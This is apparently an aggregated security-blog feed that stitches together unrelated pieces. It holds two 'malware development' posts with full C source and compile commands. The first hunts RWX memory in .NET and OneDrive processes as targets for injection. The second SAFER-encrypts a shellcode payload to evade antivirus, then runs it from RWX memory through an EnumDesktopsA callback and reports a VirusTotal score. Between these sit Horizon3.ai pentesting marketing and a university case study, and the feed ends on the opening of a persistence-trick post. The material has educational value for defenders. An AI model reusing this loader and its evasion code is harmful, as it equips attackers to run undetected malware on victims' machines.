ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
So, the full source code for this logic (finding .NET
processes in the victimβs system) looks like this:
/*
* hack2.c - hunting RWX memory
* detect .NET process
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
HANDLE findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function addresses
fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
pid = GetProcessId(current);
// check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
UNICODE_STRING sName;
OBJECT_ATTRIBUTES oa;
HANDLE sHandle = NULL;
WCHAR procNumber[32];
WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
sName.Buffer = (PWSTR) malloc(500);
// convert INT to WCHAR
swprintf_s(procNumber, L"%d", pid);
// and fill out UNICODE_STRING structure
ZeroMemory(sName.Buffer, 500);
memcpy(sName.Buffer, objPath, wcslen(objPath) * 2); // add section name "prefix"
StringCchCatW(sName.Buffer, 500, procNumber); // and append with process ID
sName.Length = wcslen(sName.Buffer) * 2; // finally, adjust the string size
sName.MaximumLength = sName.Length + 1;
InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {
CloseHandle(sHandle);
break;
}
}
}
return current;
}
int findRWX(HANDLE h) {
MEMORY_BASIC_INFORMATION mbi = {};
LPVOID addr = 0;
// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
}
return 0;
}
int main(int argc, char* argv[]) {
char procNameTemp[MAX_PATH];
HANDLE h = NULL;
int pid = 0;
h = findMyProc(argv[1]);
if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
pid = GetProcessId(h);
printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
findRWX(h);
CloseHandle(h);
return 0;
}
Letβs go to see second example in action. Compile it:
x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w
Then just run it. Check on powershell.exe
:
.\hack2.exe powershell.exe
Now, second practical example worked as expected! Great! =^..^=
Ok, so what about previous question?
How we can check if the victim process is really OneDrive.exe
process? Itβs just in case, for example.
Letβs check OneDrive.exe
process properties via Process Hacker 2:
As you can see we can use the same trick: check section by itβs name: \Sessions\1\BaseNamedObjects\UrlZonesSM_test1
. Of course, I could be wrong and the presence of this string does not guarantee that this is OneDrive.exe
process. I just want to show that you can examine any process and try to find some indicators in the section names.
So, I updated my function again and full source code of my third example (hack3.c
):
/*
* hack.c - hunting RWX memory
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
HANDLE findMyProc(const char *procname) {
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function addresses
fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
// check for "\Sessions\1\BaseNamedObjects\UrlZonesSM_test1" section
UNICODE_STRING sName;
OBJECT_ATTRIBUTES oa;
HANDLE sHandle = NULL;
WCHAR objPath[] = L"\\Sessions\\1\\BaseNamedObjects\\UrlZonesSM_test1";
sName.Buffer = (PWSTR)objPath;
sName.Length = wcslen(objPath) * sizeof(WCHAR);
sName.MaximumLength = sName.Length + sizeof(WCHAR);
InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {
CloseHandle(sHandle);
break;
}
}
}
return current;
}
int findRWX(HANDLE h) {
MEMORY_BASIC_INFORMATION mbi = {};
LPVOID addr = 0;
// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
}
return 0;
}
int main(int argc, char* argv[]) {
char procNameTemp[MAX_PATH];
HANDLE h = NULL;
int pid = 0;
h = findMyProc(argv[1]);
if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
pid = GetProcessId(h);
printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
findRWX(h);
CloseHandle(h);
return 0;
}
As you can see, the logic is simple: check section name and try to open it.
Letβs go to see third example in action. Compile it:
x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w
Then, run it on the victimβs machine:
.\hack3.exe OneDrive.exe
As you can see, everything is worked perfectly again!
If anyone has seen a similar trick in real malware and APT, please write to me, maybe I didnβt look well, it seems to me that this is a technique already known to attackers.
I hope this post spreads awareness to the blue teamers of this interesting process investigation technique, and adds a weapon to the red teamers arsenal.
Process injection via RWX-memory hunting. Simple C++ example.
Malware development trick - part 30: Find PID via NtGetNextProcess. Simple C++ example.
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
In the ever-evolving landscape of cybersecurity, the speed of your response to emerging cyber threats can be the difference between a minor security incident and a catastrophic breach. Horizon3.ai provides you with a strategic advantage by enabling preemptive action in the
steadily shrinking window of time between the public disclosure of a vulnerability and its exploitation in the wild.
The post Get Ahead of Emerging Threats with Horizon3.aiβs Rapid Response Service appeared first on Horizon3.ai.
Horizon3.ai Principal Security SME Stephen Gates and JTI Cybersecurity Principal Consultant Jon Isaacson discuss:
β What JTI does to validate things like access control, data loss prevention, ransomware protection, and intrusion detection approaches.
β How #pentesting and red team exercises allow orgs to validate the effectiveness of their security controls.
β Why offensive operations work best to discover and mitigate exploitable vulnerabilities in their clientβs infrastructures.
The post Fireside Chat: Horizon3.ai and JTI Cybersecurity appeared first on Horizon3.ai.
ο·½
Hello, cybersecurity enthusiasts and white hackers!
This post is the result of my own research on try to evasion AV engines via encrypting payload with another algorithm: SAFER. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.
SAFER (Secure And Fast Encryption Routine) is a symmetric block cipher designed by James Massey. SAFER K-64 specifically refers to the variant with a 64-bit
key size. Itβs notable for its nonproprietary nature and has been incorporated into some products by Cylink Corp.
SAFER K-64 operates as an iterated block cipher, meaning the same function is applied for a certain number of rounds. Each round utilizes two 64-bit
subkeys, and the algorithm exclusively employs operations on bytes. Unlike DES, SAFER K-64 is not a Feistel network.
For practical example, here is the step-by-step flow of the SAFER-64:
// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];
// SAFER-64 encryption rounds
for (i = 0; i < ROUNDS; i++) {
T = R ^ key_ptr[i % 4];
T = (T << 1) | (T >> 31); // Rotate left by 1 bit
L ^= (T + R);
T = L ^ key_ptr[(i % 4) + 4];
T = (T << 1) | (T >> 31); // Rotate left by 1 bit
R ^= (T + L);
}
// update the data block with the encrypted values
data_ptr[0] = L;
data_ptr[1] = R;
So, the encryption function looks like this:
void safer_encrypt(unsigned char *data, unsigned char *key) {
unsigned int *data_ptr = (unsigned int *)data;
unsigned int *key_ptr = (unsigned int *)key;
unsigned int L, R, T;
int i;
L = data_ptr[0];
R = data_ptr[1];
for (i = 0; i < ROUNDS; i++) {
T = R ^ key_ptr[i % 4];
T = (T << 1) | (T >> 31);
L ^= (T + R);
T = L ^ key_ptr[(i % 4) + 4];
T = (T << 1) | (T >> 31);
R ^= (T + L);
}
data_ptr[0] = L;
data_ptr[1] = R;
}
What about decryption logic? The decryption process is not much different from encryption:
// extract left and right halves of the data block
L = data_ptr[0];
R = data_ptr[1];
// SAFER-64 decryption rounds
for (i = ROUNDS - 1; i >= 0; i--) {
T = L ^ key_ptr[(i % 4) + 4];
T = (T << 1) | (T >> 31); // Rotate left by 1 bit
R ^= (T + L);
T = R ^ key_ptr[i % 4];
T = (T << 1) | (T >> 31); // Rotate left by 1 bit
L ^= (T + R);
}
// Update the data block with the decrypted values
data_ptr[0] = L;
data_ptr[1] = R;
Respectively, SAFER-64 Decryption Function looks like this:
void safer_decrypt(unsigned char *data, unsigned char *key) {
unsigned int *data_ptr = (unsigned int *)data;
unsigned int *key_ptr = (unsigned int *)key;
unsigned int L, R, T;
int i;
L = data_ptr[0];
R = data_ptr[1];
for (i = ROUNDS - 1; i >= 0; i--) {
T = L ^ key_ptr[(i % 4) + 4];
T = (T << 1) | (T >> 31);
R ^= (T + L);
T = R ^ key_ptr[i % 4];
T = (T << 1) | (T >> 31);
L ^= (T + R);
}
data_ptr[0] = L;
data_ptr[1] = R;
}
Full source code for my main logic (βmaliciousβ payload encryption) look like this (hack.c
):
/*
* hack.c - encrypt and decrypt shellcode via SAFER. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/04/09/malware-cryptography-26.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#define BLOCK_SIZE 8 // 64 bits
#define ROUNDS 6
void safer_encrypt(unsigned char *data, unsigned char *key) {
unsigned int *data_ptr = (unsigned int *)data;
unsigned int *key_ptr = (unsigned int *)key;
unsigned int L, R, T;
int i;
L = data_ptr[0];
R = data_ptr[1];
for (i = 0; i < ROUNDS; i++) {
T = R ^ key_ptr[i % 4];
T = (T << 1) | (T >> 31);
L ^= (T + R);
T = L ^ key_ptr[(i % 4) + 4];
T = (T << 1) | (T >> 31);
R ^= (T + L);
}
data_ptr[0] = L;
data_ptr[1] = R;
}
void safer_decrypt(unsigned char *data, unsigned char *key) {
unsigned int *data_ptr = (unsigned int *)data;
unsigned int *key_ptr = (unsigned int *)key;
unsigned int L, R, T;
int i;
L = data_ptr[0];
R = data_ptr[1];
for (i = ROUNDS - 1; i >= 0; i--) {
T = L ^ key_ptr[(i % 4) + 4];
T = (T << 1) | (T >> 31);
R ^= (T + L);
T = R ^ key_ptr[i % 4];
T = (T << 1) | (T >> 31);
L ^= (T + R);
}
data_ptr[0] = L;
data_ptr[1] = R;
}
int main() {
unsigned char key[] = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
int len = sizeof(my_payload);
int pad_len = (len + BLOCK_SIZE - 1) & ~(BLOCK_SIZE - 1);
unsigned char padded[pad_len];
memset(padded, 0x90, pad_len);
memcpy(padded, my_payload, len);
// encrypt the padded shellcode
for (int i = 0; i < pad_len; i += BLOCK_SIZE) {
safer_encrypt(&padded[i], key);
}
printf("encrypted:\n");
for (int i = 0; i < sizeof(padded); i++) {
printf("\\x%02x", padded[i]);
}
printf("\n\n");
// decrypt the padded shellcode
for (int i = 0; i < pad_len; i += BLOCK_SIZE) {
safer_decrypt(&padded[i], key);
}
printf("decrypted:\n");
for (int i = 0; i < sizeof(padded); i++) {
printf("\\x%02x", padded[i]);
}
printf("\n\n");
LPVOID mem = VirtualAlloc(NULL, sizeof(padded), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, padded, pad_len);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);
return 0;
}
As you can see, first of all, before encrypting, we use padding via the NOP (\x90
) instructions.
As usually, I used meow-meow
payload:
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
For simplicity, I use running shellcode via EnumDesktopsA logic.
Letβs go to see this trick in action. Compile our βmalwareβ:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
And run it at the victimβs machine (Windows 10 x64 v1903
in my case):
As you can see, our decrypted shellcode is modified: padding \x90
is working as expected.
Calc entropy and upload to VirusTotal:
python3 entropy.py -f ./hack.exe
24 of of 70 AV engines detect our file as malicious as expected.
As you can see, this algorithm encrypts the payload quite well, but it is detected by many AV engines and is poorly suited for bypassing them, but this is most likely due to the fact that a well-studied method of launching the payload is used. if you apply anti-debugging, anti-disassembly and anti-VM tricks, the result will be better.
The Singapore government has considered using SAFER with a 128-bit
key for various applications due to its lack of patent, copyright, or other restrictions, making it an attractive choice for widespread adoption.
I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.
SAFER
Malware and cryptography 1
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
Managed security service providers (MSSPs) and managed services providers (MSPs) tell us that in todayβs cyber threat
environment, securing customer environments while still maintaining profit margins and growing adoption of their services is an ongoing challenge. The NodeZeroTM platform enables you to proactively and efficiently probe your customersβ networks for weaknesses that go beyond known and patchable vulnerabilities, such as credentials open to compromise, exposed data, misconfigurations, poor security controls, and weak policies.
The post NodeZeroβ’ from Horizon3.ai Optimized for MSSPs and MSPs appeared first on Horizon3.ai.
State, local and education (SLED) organizations have unique cybersecurity pain points. Because they rely on taxpayer dollars, SLED organizations are often trying to do more with less.
The post SLED U.S. State, Local, & Education appeared first on Horizon3.ai.
Demand for #pentesting expertise is at an all-time high, and many orgs are struggling to meet their annual requirements for the PCI DSS v4.0. This webinar explains how our services fulfill your pentesting requirements and help you streamline your remediation efforts. Youβll learn about:
β Horizon3.aiβs human-machine teaming approach for compliance pentesting
β How we fully address requirement 11.4 of the PCI DSS and pentesting for the Self-Assessment Questionnaires (SAQs)
β A practitionerβs view of how #NodeZero helps orgs efficiently interpret and remediate their penetration test report
The post No waiting, no wondering: Streamline your PCI pentesting process with Horizon3.ai appeared first on Horizon3.ai.
See your enterprise through the eyes of an attacker β More than a concept β a Proof of Value
The post NodeZero: More than a concept β a Proof of Value appeared first on Horizon3.ai.
Horizon3.ai delivers sophisticated and timely penetration testing services tailored to fulfill the internal and external pentesting requirements of your cardholder data environment outlined by the Payment Card Industry Data Security Standard (PCI DSS) v4.0. Our offerings are executed with comprehensive coverage and meticulous attention to detail to fully address these stringent pentesting requirements.
The post Horizon3.ai PCI 11.4 Pentesting Engagement appeared first on Horizon3.ai.
The NodeZeroTM platform is easy-to-use, safe for production, and scales to support your largest networks. You are empowered to test a very broad scope in a single test, orchestrate tests concurrently, and simultaneously test your enterprise from different attacker perspectives.
The post Autonomous Penetration Testing with Horizon3.ai appeared first on Horizon3.ai.
The NodeZeroTM platform empowers your organization to reduce your security risk by autonomously finding exploitable weaknesses in your network, giving you detailed guidance about how to prioritize and fix them, and helping you immediately verify that your fixes are effective.
The post NodeZero Capability Statement appeared first on Horizon3.ai.
Given the pivotal role of education in shaping future leaders and driving innovation, safeguarding the integrity and security of educational systems is paramount. The educational sector continues to be a prime target for cyber threat actors due to its vast repositories of sensitive data, ranging from student records to innovative research findings. As universities increasingly rely on digital platforms for administrative functions, online learning, and collaborative research endeavors, the volume and diversity of data stored within their systems become lucrative targets for cybercriminals. Breaches not only compromise the confidentiality of student and faculty information but also undermine the institutionβs reputation and erode trust among stakeholders. Moreover, the interconnected nature of academic networks exposes them to a wide array of cyber-attacks, including phishing attempts, malware, ransomware, exploits, and data breaches, which can disrupt operations and compromise the integrity of academic activities. By prioritizing cybersecurity, educational institutions not only fulfill their duty to protect the interests of their stakeholders but also contribute to the broader goal of building a secure and resilient digital ecosystem that fosters innovation, collaboration, and learning.
Additional to safeguarding information and networks, educational institutions are also subject to various laws and regulations governing data protection, privacy, and cybersecurity. Compliance with these requirements is not only a legal obligation but also essential for maintaining the institutionβs reputation, avoiding penalties, and protecting against cyber-attacks. This may include standards such as the General Data Protection Regulation (GDPR), the Health Insurance Portability and Accountability Act (HIPAA), the Payment Card Industry Data Security Standard (PCI DSS), and various other State and Federal higher education regulatory policies and guidance. For our higher education customers, a key aspect of compliance includes conducting continuous cyber risk assessments of their environments. This not only ensures they comply with regulations, but to also find, fix and remediate potential cybersecurity vulnerabilities within their environment before cyber threat actors exploit them.
As explained by alumni and Director of Information Security at Moravian University, Jim Beers,
Compliance is one of the main driving factors behind why Moravian needed to implement solutions that identify vulnerabilities so that we can fix them quickly.
Being with Moravian for over 25 years, Jim innately understands the need for higher education institutions to implement tools to ensure compliance and see their environment as an attacker does. Like many others in Jimβs situation, implementing solutions (such as pentesting) is crucial for universities to proactively identify and address security vulnerabilities, fortifying their digital infrastructure against cyber threats and ensuring the confidentiality, integrity, and availability (CIA) of sensitive academic and personal data.
However, unlike Jim, many educational organizations often opt to do the minimum in cybersecurity compliance. Limited budgets and resources often constrain their ability to invest in robust cybersecurity measures. Additionally, often there is a lack of awareness or understanding of the evolving cyber threats and regulatory requirements at the leadership and administrative levels. The decentralized nature of many educational institutions, with numerous departments and stakeholders operating independently, can create challenges in implementing cohesive cybersecurity policies and practices. This can also result in the perception that cybersecurity is not a top priority compared to other competing demands within the institution.
What these organizations fail to realize is that a once a year traditional pentest often costs more than an autonomous solution that continuously assesses their environment. Additionally, traditional vulnerability scanners are good at identifying and describing vulnerabilities in general, but often fall short in providing actionable guidance. Jim explains, βour past vulnerability scanner told me what vulnerabilities were of high or low severity and if there is an exploit, but it didnβt tell me whyβ¦there was too much information without enough direction or actionable insights.β For an educational institution to proactively stay ahead of threats, Jim needed to look further and find a solution that not only saved him time and frustration, but also provided him with immediate results and fix actions to quickly resolve vulnerabilities before threat actors exploit them.
Jim wanted to get away from basic vulnerability scanners and adopt something that could not only meet regulatory and compliance requirements but one that could exceed them. His goal was to βmove from a limited theoretical vulnerability scanner to a scanner that allows me to see more information and reports on the things that can really be exploited.β Additionally, his current vulnerability scanner was βsomewhat expensiveβ and was limited in its scanning capability, along with its poor actionable results. Jim was also concerned that his current tools could not scan and illuminate their entire network, highlighting that βsecurity is about visibility, and you have to know what is there to protect, and our ability to do that was limited.β As the Department of Education (DoE) continues to implement more stringent cyber policies, regulations, and guidance, pentesting is the main driver for compliance across the board. That coupled with cyber insurance requirements, Jim explains, βthey [DoE and insurers] want to see that youβre identifying exploitable vulnerabilities and youβre fixing them,β and the only way to do that is through continuous assessments.
The things that you [NodeZero] are finding, we didnβt know existed.
We often hear that some of our higher education customers were hesitant to move from traditional, manual pentesting efforts to an autonomous pentesting solution like NodeZero. Some universities may be inclined to stick with traditional pentesting methods due to familiarity, comfort, and the perception of reliability. Many institutions may have established relationships with pentesting firms or internal teams that have been conducting tests using traditional methodologies for years. Additionally, there might be a lack of awareness about the limitations of traditional pentesting and the advantages of newer autonomous pentesting solutions.
However, most educational institutions that use traditional (manual) pentesting approaches tend to pentest one time to meet regulatory compliance requirements. Moravian did just that. Jim explains that before he explored solutions like Horizon3.aiβs NodeZero, they had βdone one traditional pentest nearly 10 years ago, and it was a hefty sum.β Furthermore, Jimβs management thought that these emerging autonomous solutions were too new to the market, and that traditional pentesting was reliable, even if it was pricey. They implemented another traditional pentesting effort prior to choosing NodeZero. βFor the amount we paid, [the pentesters] did a good job, but it was not exactly what they expected,β says Jim. The results Jim received from the traditional pentest were good, but he explained that βit was a one and done testβ¦I have all year to fix the issues, but the environment keeps evolving and changing as we are going alongβ¦next year, how am I going to be surprised in the next pentest and during that gap, what if something goes wrong and I donβt know about it?β
As Jim is keenly aware of the evolving cyber landscape, he decided that continuous, autonomous pentesting would not only meet compliance standards, but keep Moravian at the forefront of proactively securing their environment and keeping sensitive data safe. After their second time using traditional pentesting was somewhat unsuccessful, Jim decided it was time to give NodeZero a chance.
Right away, Jim realized that they had made the right decision, especially because NodeZero now allowed Moravian to implement unlimited testing of their environment, as well as the ability to schedule pentests at will. He also mentioned that NodeZero allows him to βcheck for vulnerabilities, find out how theyβre exploited, and then fix it immediatelyβ¦I was amazed at how easy it wasβ¦I can use the 1-click verify shopping cart to quickly verify our remediations, saving countless hours.β With NodeZero, customers can ensure fix actions were properly implemented with 1-click verify, enabling them to quickly check that remediations fixed the issues. Further, Jim explains how NodeZero PDF reports and CSV files are highly informative, allowing him βto download it all as a package, slice and dice as needed, and get them distributed to the right people.β
On top of that, Jim also noted that he liked that he βcould spin up NodeZero on different parts of the network and try to get into a place that I didnβt think we could get toβ¦testing my defenses and giving me visibility.β NodeZero doesnβt just scan your network, it looks at your network as an attacker would. Our attack paths show how an attacker weaves into a network and what they did to get domain admin, host compromise, or sensitive data exposure, for example. He was also impressed with our proactive Rapid Response capability outside of NodeZeroβs interface, calling to an additional Follow, Alert, and Review (FLARE) notification he received via email from our Customer Success and Engineering teams.
Lastly, Jim mentioned that one of βthe biggest risks [to Moravian] is users coughing up their credentials because they were phished.β Recently added to NodeZero, customers can now harness the Phishing Impact test that allows security professionals to integrate into their existing phishing training and awareness platforms. Jim thinks that this test will be eye opening, and help organizations shift policies and guidance to better educate staff. Jim says, βusing phished credentials from the phishing test and injecting them in other pentests would be a lesson for not only the individual whose credentials were phished, but for the entire institution about how quickly something could happen.β His goal is to use the new capability to educate management and staff as to why phishing is a huge risk to their organization and what can be done to continue driving their response rate down.
My first impression was ease of useβ¦to be able to just copy and paste a command and BAM! Youβre inside attacking my network!
NodeZero revolutionizes the landscape for educational institutions seeking an autonomous pentesting solution, empowering a proactive strategy to illuminate how an attacker sees their environment. Additionally, NodeZero also enables institutions to comply with and exceed State and Federal higher education regulatory policies and guidance. βTo sum it all up, compliance drove us in trying to find a pentesting solution, but what you had to offer [Horizon3.ai] covered not only pentesting, but vulnerability management,β says Jim. NodeZero provides universities and alike with actionable insights and prioritized recommendations for remediation, as well as the ability to verify fix actions. This enables security teams to focus their efforts on addressing the most critical vulnerabilities first.
Overall, while traditional pentesting methods may have served higher educational institutions well in the past, we have witnessed first-hand that the transition to an autonomous pentesting solution like NodeZero offers countless benefits, including enhanced efficiency, scalability, adaptability, and actionable insights, hardening the institutionβs cybersecurity posture in an increasingly complex threat landscape.
The post Empowering Educational Compliance: Navigating the Future with Autonomous Pentesting in Academia appeared first on Horizon3.ai.
In our groundbreaking 2023 Year in Review, Horizon3.ai delves into the transformative approach of autonomous pentesting with NodeZero. This pivotal document is your gateway to mastering proactive cybersecurity defense mechanisms.
Learn how thinking like an attacker can uncover hidden vulnerabilities.
Insight into the most prevalent cybersecurity challenges today, including credential issues and software vulnerabilities.
Practical guidance on enhancing your security posture through advanced mitigation techniques.
Expert advice on shaping policies to bolster your defenses against emerging threats.
The importance of ongoing evaluation and adaptation to stay ahead of cyber adversaries.
The post Elevate Your Cybersecurity Strategy: Download the 2023 Year in Review appeared first on Horizon3.ai.
ο·½
Hello, cybersecurity enthusiasts and white hackers!
This post is based on my own research into one of the another interesting malware persistence tricks: via StartupApproved Registry key.
